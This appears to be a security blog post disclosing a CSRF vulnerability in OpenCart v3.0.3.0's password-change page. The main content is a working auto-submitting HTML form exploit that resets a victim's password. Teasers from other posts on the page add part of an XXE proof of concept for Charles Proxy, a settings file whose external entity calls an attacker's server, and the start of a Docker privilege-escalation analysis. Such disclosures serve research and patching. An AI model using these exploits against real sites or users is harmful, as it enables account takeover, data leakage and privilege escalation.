Opencart-v3-0-3-0 user changes password at csrf vulnerability

Software Link:https://github.com/opencart/opencart/
Date: 06.28.2018
Exploit Author:CK01
Version:<= V3-0-3-0

 0x00 Vulnerability analysis

     The user token was not verified at the password change, causing the csrf vulnerability to modify the user password

 /upload/catalog/controller/account/password.php



0x01 Exploit

 Save the following exp as html and open the run

<html>


  <body>

    <form id="post123" name="post123" action="http://192.168.0.46/opencart/index.php?route=account/password&language=en-gb" method="POST" enctype="multipart/form-data">

  <input type="hidden" name="password" value="CK01ck01" />
      <input type="hidden" name="confirm" value="CK01ck01" />

<script>

        document.getElementById('post123').submit();

 </script>

    </form>

  </body>

</html>

The end user's password will be modified and there will be problems in the user's modification of the data.





评论

发表评论

此博客中的热门博文

Charles 4.2.7 XML External Entity

图片
Software Link: https://www.charlesproxy.com Date:11.12.2018 Exploit Author:CK01 Version:<=4.2.7 Security Issue: The XML External Entity vulnerability exists in the Charles import/export setup option. If the user imports the "Charles Settings.xml" of the attacker, the internal network may be detected and the information may be leaked. POC: 1.Charles Setting.xml:(127.0.0.1 -> attacker's server ) <?xml version='1.0' encoding='UTF-8' ?> <?charles serialisation-version='2.0' ?> <!DOCTYPE data [ <!ENTITY file SYSTEM "jar:http://127.0.0.1:2014/!/">]> <charles-export> <proxyConfiguration> <enableSOCKSProxy>false</enableSOCKSProxy> <dynamicHTTPPort>false</dynamicHTTPPort> <dynamicSOCKSPort>false</dynamicSOCKSPort> <enableSOCKSTransparentHTTPProxying>true</enableSOCKSTransparentHTTPProxying> <port>8888</port>
阅读全文

Docker's latest version of privilege escalation vulnerability

图片
0x00 Vulnerability analysis 1.com.docker.vmnetd is a launch service that runs at root authority; communicates with the client (Docker) through a local socket; after analysis, it is found that the client is not verified during the communication process, resulting in the risk of elevated permissions 2. The two main functions in main_handle are vmnet_handshake_Perform and vmnetd_commands_Handle; vmnet_handshake_Perform function mainly initializes the message and obtains the corresponding client command. vmnetd_commands_Handle function calls the corresponding callback function according to the obtained command 2.1 vmnet_handshake_Perform 2.1.1 First obtain the initialization message (3 packets) requested by the client through vmnet_handshake_readInitMessage. The message structure is as follows packet-1: flag c00009a318  56 4d 4e 33 54 00 00 00 00 00 00 00 00 00 00 00  VMN3T........... c00009a328  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ packet-2:versi
阅读全文